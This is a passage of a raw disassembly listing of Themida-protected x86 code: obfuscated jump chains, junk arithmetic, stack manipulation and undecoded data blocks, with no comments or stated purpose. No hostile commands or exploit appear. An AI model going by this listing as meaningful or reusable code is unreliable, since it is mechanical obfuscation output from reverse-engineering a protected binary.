		jmp	loc_50FC58
; ---------------------------------------------------------------------------
		dd 4553BA52h, 0E2C10EC7h, 81EAD104h, 561BA4EAh,	5AD0894Dh
		dd 0A3F7E940h, 0E8BBFFFFh, 9316A5Eh, 0E957E9DDh, 78BEFFFFh
		dd 8107C94Dh, 3445F9E6h, 4697687Fh, 2C890000h, 0E9535724h
		dd 55A1h
; ---------------------------------------------------------------------------

loc_5195C0:				; CODE XREF: Themida_:0051FACBj
		mov	esi, 6B57297Dh
		sub	esi, 609666DFh
		not	esi
		inc	esi
		not	esi
		sub	esi, 9D3B5538h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_51331E
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0E95A0000h, 0FFFFB70Bh, 0C330D82Ch, 1C14E9h
		dd 0FAB95100h, 21697C10h, 0E0C159C8h, 41B53503h, 0B12D405Fh
		dd 81035F42h, 0BF6FFFEAh, 0B6F2E922h, 0E950FFFFh, 32A6h
		dd 89FD8955h, 0FF5D306Ah, 835F2434h, 348904ECh,	525E5424h
		dd 831F9FBAh, 5FE95264h, 81FFFF77h, 9F757DEBh, 3E3C122h
		dd 0E903EBC1h, 0FFFFAECEh, 2434875Fh, 0EC83FD5Ch, 24148904h
		dd 6F7DE9h
		db 0
; ---------------------------------------------------------------------------

loc_519669:				; CODE XREF: Themida_:0051167Ej
		not	cl
		jmp	loc_51AC90
; ---------------------------------------------------------------------------

loc_519670:				; CODE XREF: Themida_:005157DAj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_511E00
; ---------------------------------------------------------------------------

loc_51967D:				; CODE XREF: Themida_:0051121Cj
		dec	edi
		jmp	loc_5216B7
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC4AC7E6h, 2E6C119h, 6516C681h, 0C781E9B0h,	34575315h
		dd 0EF81F729h, 34575315h, 0E924348Bh, 0FFFF9D3Ah, 4C6815Bh
		dd 33000000h, 0F1E92434h, 81FFFFF2h, 0A83FA6EBh, 93C38133h
		dd 0E9196C35h, 0FFFFCDC9h
; ---------------------------------------------------------------------------

loc_5196C8:				; CODE XREF: Themida_:00515F3Dj
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_514B8C
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 0A8C206Bh, 73DF99BDh, 5AD501F5h, 3EC8EE81h, 0EE293506h
		dd 3EC8C681h, 35E93506h, 87FFFF7Eh, 0E95C241Ch,	0FFFF5FFCh
		dd 3631B6BBh, 2D77B91Eh, 0D9313DB7h, 4ACDE95Bh,	34330000h
		dd 24343124h, 5C243433h, 0E9242489h, 0FFFF9B0Fh
; ---------------------------------------------------------------------------

loc_519734:				; CODE XREF: Themida_:00511C92j
		add	ecx, edi
		jmp	loc_51044C
; ---------------------------------------------------------------------------
		db 0C0h
		dd 536604ECh, 0F4E9E388h, 83000082h, 2C8702C5h,	81E5E924h
		dd 2C890000h, 5A545224h, 1DE9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51975E:				; CODE XREF: Themida_:00519F9Fj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	eax
		push	ebx
		push	0BECh
		mov	[esp], eax
		jmp	loc_516E9F
; ---------------------------------------------------------------------------

loc_519777:				; CODE XREF: Themida_:00510395j
		xor	ebx, ebp
		pop	ebp
		jmp	loc_51B86D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5EFC1D7h, 43B9514Fh,	0E95A512Fh, 0FFFFDC32h,	0CB89C189h
		dd 0FFB3AAE9h, 240C87FFh, 0E924248Bh, 0C9Fh, 77DBC681h
		dd 18E920A0h, 5CFFFF68h, 4EC81h, 26E90000h, 87FFFF74h
		dd 895C240Ch, 69E92404h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5197C7:				; CODE XREF: Themida_:0050FE93j
		pop	edi
		jmp	loc_514F34
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 5D5C240Ch, 2EB81h, 1C870000h, 24248B24h
		dd 240C8966h, 0FF5F1FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5197ED:				; CODE XREF: Themida_:0050FE37j
		add	ebp, 4
		jmp	loc_5239EC
; ---------------------------------------------------------------------------
		dd 582434FFh, 74BEE953h, 3C8B0000h, 59545124h, 4C181h
		dd 0C1810000h, 4, 4C88E9h
		db 0
; ---------------------------------------------------------------------------

loc_519819:				; CODE XREF: Themida_:00511234j
		push	edx
		push	edi
		mov	edi, 27CF6CADh
		push	ebx
		mov	ebx, 27991A43h
		add	ebx, 0DEBE381Ch
		add	edi, ebx
		pop	ebx
		add	edi, 0D1D940F8h
		mov	edx, edi
		pop	edi
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	ebp, 3FCA155Dh
		push	3756h
		mov	[esp], ebp
		push	edi
		push	44392B03h
		jmp	loc_51F5E9
; ---------------------------------------------------------------------------
		dw 0F787h
		dd 0F787D6F7h, 1DE3C781h, 0C78152D6h, 8D7DB04Dh, 0E95FFE89h
		dd 7B8h, 468h, 736BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51987E:				; CODE XREF: Themida_:005106B4j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 170C12E5h
		push	ebp
		mov	ebp, 79F5382Fh
		add	ebp, 1
		jmp	loc_513697
; ---------------------------------------------------------------------------

loc_5198A2:				; CODE XREF: Themida_:0051B451j
		push	edi
		mov	edi, 1BE02FB9h
		jmp	loc_51E203
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0A6E90000h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5198BB:				; CODE XREF: Themida_:0051B472j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_514FDD
; ---------------------------------------------------------------------------
		db 0BEh, 5Fh, 0Ah
		dd 6FBF3280h, 318B1AF1h, 681DE9F7h, 0C601FFFFh,	0FFF3AAE9h
		dd 0D8305CFFh, 241C8B66h, 5102C483h, 2434FF54h,	81240C8Bh
		dd 4C4h, 4C48100h, 68000000h, 77D9h, 0B8240489h, 5B645283h
		dd 12Dh, 40D8F700h, 9BAD7B35h, 8BC101A4h, 0C4832404h, 2E98104h
		dd 33000000h, 0C31240Ch, 240C3324h, 0E924248Bh,	0FFFFF600h
; ---------------------------------------------------------------------------

loc_519938:				; CODE XREF: Themida_:00519189j
		pop	esp
		push	7492h
		mov	[esp], eax
		mov	eax, 530A21E5h
		jmp	loc_522402
; ---------------------------------------------------------------------------

loc_51994B:				; CODE XREF: Themida_:00511375j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 707A394Fh, 1AE9D809h, 0B3FFFFBEh, 58E32861h,	39E9CB28h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51996F:				; CODE XREF: Themida_:005156F6j
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_511C75
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_51B1E1
; ---------------------------------------------------------------------------
		db 88h,	0C1h, 0FFh
		dd 34FF2434h, 89575824h, 4C781E7h, 0E9000000h, 0FFFF71A1h
		dd 8324348Bh, 0EB8104C4h, 274A09AEh, 0C381C329h, 274A09AEh
		dd 8124048Bh, 4C4h, 30FF6600h, 0FF5D47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5199C5:				; CODE XREF: Themida_:00521DD2j
		push	esi
		push	esp
		pop	esi
		jmp	loc_516A3F
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E904EC83h, 1D2Eh, 148BD000h, 4C48124h, 68000000h, 3119h
		dd 51241C89h, 8904EC83h, 0B3532414h, 29B278h, 0F3E95BDAh
		dd 0BD000063h, 0
		dd 0EE89F529h, 0E9D6F75Dh, 0B3BFh
; ---------------------------------------------------------------------------

loc_519A10:				; CODE XREF: Themida_:005128A3j
		mov	dx, [esp]
		jmp	loc_51BFDF
; ---------------------------------------------------------------------------
		db 35h,	5Ah, 3Dh
		dd 3A354F91h, 0E90E4D89h, 5DCFh, 0F2EE80h, 5711E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_519A32:				; CODE XREF: Themida_:0051BE7Aj
		mov	ebx, [esp]
		add	esp, 4
		push	30D3h
		mov	[esp], ecx
		mov	ecx, 1933EED3h
		add	eax, 21CD2ECEh
		add	eax, ecx
		sub	eax, 21CD2ECEh
		jmp	loc_516231
; ---------------------------------------------------------------------------
		dw 0C688h
		dd 8B2434FFh, 0C4832404h, 59545104h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 0FF9EF7E9h, 24248BFFh,	0BB241C89h, 2DF70EF4h
		dd 0E957D3F7h, 1632h, 4C481h, 2C330000h, 242C3124h, 8B242C33h
		dd 34FF2424h, 240C8B24h, 4C481h, 0E9510000h, 6F2Ah, 240C8B66h
		dd 0E9E78957h, 47Ch, 3975F581h,	8145098Fh, 0E10F4E5h, 0DEF58131h
		dd 2D44762Ch, 368E39EFh, 0EF05E801h, 5D368E39h,	27F2E9h
		dd 0F5814500h, 1FE3384Dh, 15DEF01h, 0B27EE9FDh,	0C083FFFFh
		dd 24048704h, 0FF6403E9h, 242C89FFh, 0E698F668h, 2434FF1Ch
		dd 3AFE95Dh, 81B80000h,	0E98C0E8Dh, 0FFFF6C74h,	83243C8Bh
		dd 0EC8304C4h, 243C8904h, 0EBF8E952h, 0C481FFFFh, 4, 5224048Bh
		dd 0B4E9E289h, 89FFFFB2h, 0E9542404h, 0FEAh, 4BEh, 5EF20100h
		dd 9CBD5557h, 893A6575h, 0BD555DEFh, 4B350684h,	6524E581h
		dd 0ED815F02h, 184B4703h, 7DBDE581h, 0F74D6FFDh, 0D4C581DDh
		dd 319770BCh, 242C8BEFh, 0FFAC20E9h, 26CA80FFh,	88C9F280h
		dd 5254E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_519B8E:				; CODE XREF: Themida_:005204D7j
		xor	ecx, 86CA312Bh
		xor	esi, ecx
		jmp	loc_511479
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 93C1E9h, 8F3BD00h
		dd 95BE1621h, 1089E29h,	0F0315DEEh, 1DA1E95Eh, 5B660000h
		dd 24048F66h, 8904EC83h, 3AE92404h, 5CFFFFF9h, 0E9241489h
		dd 5E52h, 28B6664h, 6DB0E9h
		db 0
; ---------------------------------------------------------------------------

loc_519BE9:				; CODE XREF: Themida_:005186E1j
		xor	edx, 3010188Ah
		push	ecx
		jmp	loc_51503E
; ---------------------------------------------------------------------------

loc_519BF5:				; CODE XREF: Themida_:00511D75j
		pop	ecx
		pop	ebp
		sub	esi, ecx
		add	esi, 40AF4ED9h
		pop	ecx
		push	ebp
		mov	ebp, 0C2DEB1E4h
		xor	esi, ebp
		pop	ebp
		add	ebp, esi
		pop	esi
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_523331
; ---------------------------------------------------------------------------

loc_519C1D:				; CODE XREF: Themida_:0051298Aj
		add	dword ptr [esp], 4
		jmp	loc_51674C
; ---------------------------------------------------------------------------
		db 1, 0F5h, 8Bh
		dd 0C4832434h, 5DE88904h, 0C5E9C501h, 29FFFF6Dh, 22355EF0h
		dd 8176F745h, 0FE2E94C5h, 56C5014Fh, 5564D8BEh,	7EE817Ah
		dd 810D1F1Fh, 0C7E8C3C6h, 8272E9E2h, 0B951FFFFh, 6FEC3244h
		dd 0F707E1C1h, 54C181D1h, 3155C270h, 2434FFC8h,	4C48159h
		dd 5000000h, 0ED85AD1Eh, 0FFBFF7E9h, 0E9EB80FFh, 1C8BDA08h
		dd 4C48324h, 0FF8FC0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_519C99:				; CODE XREF: Themida_:0051569Ej
		inc	edi
		sub	edi, 0AFAAECCAh
		jmp	loc_51BE56
; ---------------------------------------------------------------------------

loc_519CA5:				; CODE XREF: Themida_:0051212Ej
		mov	[esp], ecx
		push	esi
		pop	ecx
		jmp	loc_5231C0
; ---------------------------------------------------------------------------
		db 0F6h
		dd 80EAD0DAh, 0B753B1C2h, 5BFA2810h, 5DEFE950h,	0E9500000h
		dd 1DFFh
; ---------------------------------------------------------------------------

loc_519CC8:				; CODE XREF: Themida_:00520AC8j
		add	esp, 4
		push	ebp
		jmp	loc_5160B4
; ---------------------------------------------------------------------------
		dd 0D9875D5Eh, 0D987DBF7h, 0AB3CE9h, 51665B00h,	0E8287BB5h
		dd 0FF8366E9h, 4BB53FFh, 0E9000000h, 0FFFFA4E6h, 80AEEA80h
		dd 0B1517FEAh, 1C280FCh, 7AE9CA00h, 5CFFFF86h, 0FFBB4EE9h
		dd 5AEA81FFh, 170945Bh,	5AC281F2h, 8B70945Bh, 0C4812434h
		dd 4, 3E92E9h, 2434FF00h, 4C33E9h, 31CBBF00h, 0FE2901FBh
		dd 0B850595Fh, 22B2145Ch, 0F9734005h, 5BFE0D20h, 0BB5378F4h
		dd 1A7EAB5Bh, 0D922F22Dh, 49D4E943h, 3C8B0000h,	4C48124h
		dd 81000000h, 4E9h, 240C8700h, 243C895Ch, 0C86A1DBFh, 6FA2E93Ah
		dd 8B66FFFFh, 9F682404h, 89000042h, 0E589242Ch,	1FD268h
		dd 0A179E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_519D96:				; CODE XREF: Themida_:00517A4Cj
		dec	edi
		sub	edi, 1236089Eh
		add	edi, 941828F9h
		sub	esp, 4
		mov	[esp], eax
		push	3FFC5946h
		pop	eax
		xor	edi, eax
		pop	eax
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	0DD0h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		push	eax
		jmp	loc_518356
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5D54242Ch, 8904EC83h, 0EC83240Ch, 242C8904h,	0FFD58EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_519DF1:				; CODE XREF: Themida_:005204F5j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_510B95
; ---------------------------------------------------------------------------
		dd 5C241C87h, 54240489h, 8124048Bh, 4C4h, 23D36800h, 0C890000h
		dd 218CB924h, 0E1C13A0Ah, 4C18107h, 0E9FAEF3Ah,	0FFFFF688h
		dd 0C580DDF6h, 59EE2810h, 0F0D3E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_519E42:				; CODE XREF: Themida_:0051DECFj
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_518A47
		push	dword ptr [edi+1Ch]
		jmp	loc_511A76
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 0B0505266h, 0C0B2E95Dh, 8B66FFFFh, 0E952240Ch, 0FFFF9AAFh
		dd 42A6B850h, 0C2895708h, 24540158h, 6C815A08h,	25F10424h
		dd 54291D38h, 44810424h, 25F10424h, 6FE91D38h, 8BFFFFD3h
		dd 82E92424h, 29000025h, 24048BC6h, 0AEDFE9h
		db 0
; ---------------------------------------------------------------------------

loc_519EB5:				; CODE XREF: Themida_:00513728j
		push	ecx
		mov	ecx, esp
		jmp	loc_5102A6
; ---------------------------------------------------------------------------
		db 68h,	24h, 35h
		dd 3C890000h, 55E78924h, 4A1F03BDh, 14F75531h, 0C3FEE924h
		dd 0D2F7FFFFh, 0FF67C0E9h, 4EC81FFh, 89000000h,	0E954240Ch
		dd 856Ch, 27BBC581h, 0E809B236h, 0AA99E95Dh, 0CF01FFFFh
		dd 6E20C781h, 0AEE97B72h, 51FFFF87h, 0B2116B9h,	0F1814970h
		dd 12233E06h, 32DFE9h
		db 0
; ---------------------------------------------------------------------------

loc_519F19:				; CODE XREF: Themida_:0050F8BCj
		pop	ecx
		push	ebx
		mov	bl, dl
		push	eax
		jmp	loc_517C60
; ---------------------------------------------------------------------------
		db 0F7h
		dd 40592D2h, 815A377Fh,	0A077DBEEh, 0E9C60120h,	0FFFFF86Ch
		dd 4C781h, 0EF810000h, 4, 5C243C87h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_51EDCC
; ---------------------------------------------------------------------------

loc_519F67:				; CODE XREF: Themida_:00520BEDj
		push	ecx
		mov	ecx, esp
		jmp	loc_521110
; ---------------------------------------------------------------------------
aPirheg		db ']P‰àhEG',0
		align 4
aI4Sqe		db '‰4$éQ…',0
		align 10h

loc_519F80:				; CODE XREF: Themida_:0051FB6Fj
		add	eax, edi
		jmp	loc_5100B1
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFE9h, 0B2E981FFh, 29B026CBh, 6EE959C8h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_519F9B:				; CODE XREF: Themida_:00514896j
		pop	eax
		add	edx, 4
		jmp	loc_51975E
; ---------------------------------------------------------------------------
		dd 0FE07EEC0h, 8E98E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_519FAE:				; CODE XREF: Themida_:005159C0j
		pop	ebx
		push	ebp
		jmp	loc_520941
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 0DD890000h, 0E9241C8Bh, 8DF8h
; ---------------------------------------------------------------------------

loc_519FC4:				; CODE XREF: Themida_:00514CFEj
		add	ebx, edi
		xor	dword ptr [ebx], 2A555DD2h
		pop	ebx
		or	dword ptr [edi+20h], 4355525Ch
		push	ecx
		mov	ecx, 20h
		add	ecx, edi
		jmp	loc_5160DF
; ---------------------------------------------------------------------------

loc_519FE1:				; CODE XREF: Themida_:00523252j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51A66B
; ---------------------------------------------------------------------------
		db 29h
		dd 5B08245Ch, 4244481h,	15A67373h, 4244481h, 46055C85h
		dd 4245429h, 5C85BA52h,	54294605h, 0AAE90824h, 41FFFFA5h
		dd 0FFFF6AE9h, 2434FFFFh, 343EE959h, 0E9550000h, 0FFFF66C1h
		dd 2281BF57h, 0DFF710BDh, 5E14C781h, 0FE0922CCh, 83243C8Bh
		dd 0E68104C4h, 7C3F51C0h, 4D18E9h, 0EEC15E00h, 52D6F703h
		dd 1A2AD5BAh, 5AD631EBh, 348BF521h, 4C48124h, 0D1000000h
		dd 81D5F7E5h, 0EEB39F5h, 8BEB01E7h, 0EC81242Ch,	4, 89243C89h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 124248Bh, 0CCE953C3h
		dd 0BAFFFFB3h, 6D616FB0h, 95A5852h, 24048BC1h, 4C481h
		dd 0E9530000h, 0FFFFE907h, 5A242C31h, 7924C281h, 0B1E915B4h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51A0C3:				; CODE XREF: Themida_:00523C83j
		mov	esp, [esp]
		jmp	loc_52169D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0E6C38104h, 1336846h, 0E6EB81C3h, 57336846h
		dd 0FFEF4CE9h, 41DBDFFh, 0F2E92484h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51A0EF:				; CODE XREF: Themida_:0051C6FFj
		push	678Ch
		mov	[esp], edx
		jmp	loc_515BA2
; ---------------------------------------------------------------------------

loc_51A0FC:				; CODE XREF: Themida_:00517906j
		mov	ebp, [esp]
		jmp	loc_521A49
; ---------------------------------------------------------------------------
		dd 4B9h, 0CC78100h, 124932Fh, 0CEF81CFh, 5924932Fh, 4C781h
		dd 3FE90000h, 81FFFF6Dh, 0FA6E7AF7h, 5FFA0924h,	0B850h
		dd 0D0290000h, 316AE9h,	47B85000h, 0E9054F2Dh, 0FFFF7D4Bh
; ---------------------------------------------------------------------------

loc_51A144:				; CODE XREF: Themida_:005192F5j
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		xor	dword ptr [esp], 75CB0C1Ch
		jmp	loc_523F38
; ---------------------------------------------------------------------------

loc_51A161:				; CODE XREF: Themida_:0051BD6Cj
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_521ED7
; ---------------------------------------------------------------------------
		db 81h
		dd 0AD1A04EBh, 91B85002h, 5731564h, 39F937E9h, 84A40E05h
		dd 58C60184h, 0EC81DE29h, 4, 0BD242C89h, 2EC711DAh, 2EAEC581h
		dd 96E902CCh, 83000005h, 0C20104C4h, 0ADA68h, 242C8900h
		dd 0FFE35EE9h, 240C8BFFh, 77076855h, 0EC830000h, 24248904h
		dd 4240483h, 8124048Fh,	42404h,	2C8B0000h, 4C48324h, 5D7CB850h
		dd 6BE928FEh, 8100003Fh, 790DA7EEh, 5EF5011Fh, 5A3DF581h
		dd 0F5817DDFh, 36821EFAh, 69D1E9h, 24248900h, 207568h
		dd 24148900h, 0FFB9E3E9h, 4E8C1FFh, 382BE9h, 722C5C00h
		dd 0C3BE9h
		db 0
; ---------------------------------------------------------------------------

loc_51A225:				; CODE XREF: Themida_:005174B1j
		push	2132h
		mov	[esp], edi
		mov	edi, 41761540h
		shr	edi, 2
		add	edi, 0EFA282B0h
		jmp	loc_51D69A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 2A16853h,	24890000h, 39BB6824h, 0C890000h
		dd 4B924h, 4C010000h, 5B590424h, 4C381h, 0BA520000h, 65441EC6h
		dd 8103EAC1h, 0A11390E2h, 4EC830Ah, 0BD242C89h,	289A789Ah
		dd 7091E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51A286:				; CODE XREF: Themida_:0051ABDFj
		mov	ebp, 0C881DD2h
		sub	edx, ebp
		pop	ebp
		sub	edx, eax
		add	edx, 0C881DD2h
		mov	eax, [esp]
		push	esi
		jmp	loc_5232EF
; ---------------------------------------------------------------------------
aZsdg		db 'ZéD£',0
		dd 4FF8BD00h, 0D5F76969h, 5206E5C1h, 0D20C50BAh, 5AD50183h
		dd 0E95DE829h, 0FFFFCE4Ah
; ---------------------------------------------------------------------------

loc_51A2C0:				; CODE XREF: Themida_:00515079j
		pop	ebp
		jmp	loc_51CE15
; ---------------------------------------------------------------------------

loc_51A2C6:				; CODE XREF: Themida_:00523DF6j
		mov	ebx, esp
		jmp	loc_523206
; ---------------------------------------------------------------------------

loc_51A2CD:				; CODE XREF: Themida_:0051D18Aj
		sub	ebx, 30590D74h
		push	esi
		push	ebx
		mov	ebx, 3BC122B9h
		shr	ebx, 6
		jmp	loc_51AA7E
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 449E95Bh, 0EC830000h, 240C8904h, 0C9FE57B1h,	6603E9C0h
		dd 0A052E952h, 0E0C10000h, 521D0508h, 0DAE97B26h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_51A30B:				; CODE XREF: Themida_:005131CBj
		add	esi, 7F8B00D3h
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	al, [esp+2]
		mov	[esp+2], dh
		pop	dx
		not	al
		jmp	loc_5130E3
; ---------------------------------------------------------------------------
		db 5Ah,	56h, 51h
		dd 966286B9h, 0E9CE89EBh, 1F3Bh, 24048B66h, 8904EC83h
		dd 0E2892414h, 8904EC83h, 0DBF243Ch, 0C141B975h, 45E907EFh
		dd 81000095h, 4C7h, 4EC8300h, 0FF243C89h, 5F042474h, 5C24048Fh
		dd 0DB646105h, 1B95151h, 0F70AD532h, 3E9C1D9h, 0E9C1D9F7h
		dd 4DD9E905h, 0E9580000h, 0FFFFF9D2h
; ---------------------------------------------------------------------------

loc_51A38C:				; CODE XREF: Themida_:00517DC8j
		push	edx
		push	4
		pop	edx
		jmp	loc_52020C
; ---------------------------------------------------------------------------

loc_51A398:				; CODE XREF: Themida_:00510BDCj
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_51F1C8
; ---------------------------------------------------------------------------
		db 2Dh,	2 dup(38h)
		dd 0E801579Fh, 9F383805h, 772D5D57h, 293A2351h,	478AE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51A3BE:				; CODE XREF: Themida_:0051B982j
		inc	eax
		add	eax, 0FC62DEF0h
		add	ebp, eax
		pop	eax
		jmp	loc_51C314
; ---------------------------------------------------------------------------

loc_51A3CC:				; CODE XREF: Themida_:00510116j
		add	ebp, ebx
		add	ebp, 0CC02CDh
		pop	ebx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_514F40
; ---------------------------------------------------------------------------
aTysN		db 'TYé³N',0
		align 2
		dw 0BA52h
		dd 36602642h, 5C06E952h, 0EF830000h, 243C8704h,	2434895Ch
		dd 0C681E689h, 4, 4BB53h, 0DE290000h, 83241C8Bh, 343304C4h
		dd 24343124h, 9C2EE9h
		db 0
; ---------------------------------------------------------------------------

loc_51A425:				; CODE XREF: Themida_:00510194j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shr	ecx, 7
		push	ebx
		push	esi
		mov	esi, 75BD12D1h
		xor	[esp+4], esi
		pop	esi
		jmp	loc_52474E
; ---------------------------------------------------------------------------
		db 89h
		dd 0C589242Ch, 81E18951h, 4C1h,	4E98300h, 5C240C87h, 0FF6FBDE9h
		dd 240431FFh, 0E9240433h, 0FFFFC878h, 67396853h, 0BAE90000h
		dd 0BA000051h, 0E823B0CBh, 1EE6C281h, 51E92C23h, 0B200003Ah
		dd 5BDA0046h, 0D3885350h, 885BD888h, 6E958C3h, 5A00004Fh
		dd 0B0CBE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51A49E:				; CODE XREF: Themida_:005160DAj
		add	eax, ebx
		pop	ebx
		sub	eax, ecx
		sub	eax, 0CDE0418h
		pop	ecx
		push	ebp
		mov	ebp, 45D616CBh
		add	eax, ebp
		jmp	loc_520D9B
; ---------------------------------------------------------------------------
		dw 1BAh
		dd 1000000h, 0FE67E9D0h, 483FFFFh, 48F0424h, 6621E924h
		dd 0C589FFFFh, 582434FFh, 686CE9h, 0E7E95600h, 5FFFFFBEh
		dd 0B6EE9h, 58515000h, 0A9E94959h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51A4EF:				; CODE XREF: Themida_:00513158j
		add	esi, 7B85053Fh
		push	ecx
		jmp	loc_514A79
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF9F85E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51A501:				; CODE XREF: Themida_:00521502j
		sub	ebx, 55EE3696h
		add	ebx, eax
		add	ebx, 55EE3696h
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	eax, edi
		mov	ecx, [eax]
		jmp	loc_517FA8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835F2434h, 0D82904C4h, 0BF2F882Dh, 241C8B41h, 6804C483h
		dd 76EFh, 8FF8E9h, 51C6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51A546:				; CODE XREF: Themida_:005132F5j
		add	edx, ebp
		pop	ebp
		mov	edi, edx
		pop	edx
		shl	edi, 4
		jmp	loc_5127CC
; ---------------------------------------------------------------------------
		dd 0ACE9A3B0h, 8BFFFF6Ch, 89532404h, 4C381E3h, 83000000h
		dd 1C8704C3h, 0FF355C24h, 894F052Fh, 0C5E958C5h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51A57B:				; CODE XREF: Themida_:0051DA17j
		add	eax, ecx
		pop	ecx
		push	esi
		jmp	loc_51A6DB
; ---------------------------------------------------------------------------

loc_51A584:				; CODE XREF: Themida_:00524A13j
		xor	edx, 0A150B41h
		dec	edx
		not	edx
		push	ecx
		mov	ecx, 0B8E08246h
		jmp	loc_511E6C
; ---------------------------------------------------------------------------
aSkv		db '³Ë骂',0
		db 0
; ---------------------------------------------------------------------------

loc_51A59F:				; CODE XREF: Themida_:00521E0Aj
		pop	ecx
		add	esp, 4
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	66E904EBh
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51A5BB:				; CODE XREF: Themida_:0051498Ej
		push	1F62h
		mov	[esp], eax
		mov	eax, 11107B40h
		push	ebp
		mov	ebp, 0CC00C67h
		sub	eax, ebp
		pop	ebp
		xor	eax, 3FD359Eh
		jmp	loc_518AA9
; ---------------------------------------------------------------------------
aQsfz		db 'QéFZ',0
		dd 58C28900h, 240CFF52h, 0FFC511E9h, 4C581FFh, 1220526h
		dd 4ED81CDh, 8B220526h,	0C483240Ch, 2C58304h, 8B242C87h
		dd 4002424h, 0F9E99C24h, 83FFFF50h, 25E904C4h, 8BFFFF90h
		dd 0C483243Ch, 4EC8104h, 89000000h, 4B9240Ch, 1000000h
		dd 90E959CDh
		db 0A6h, 2 dup(0)
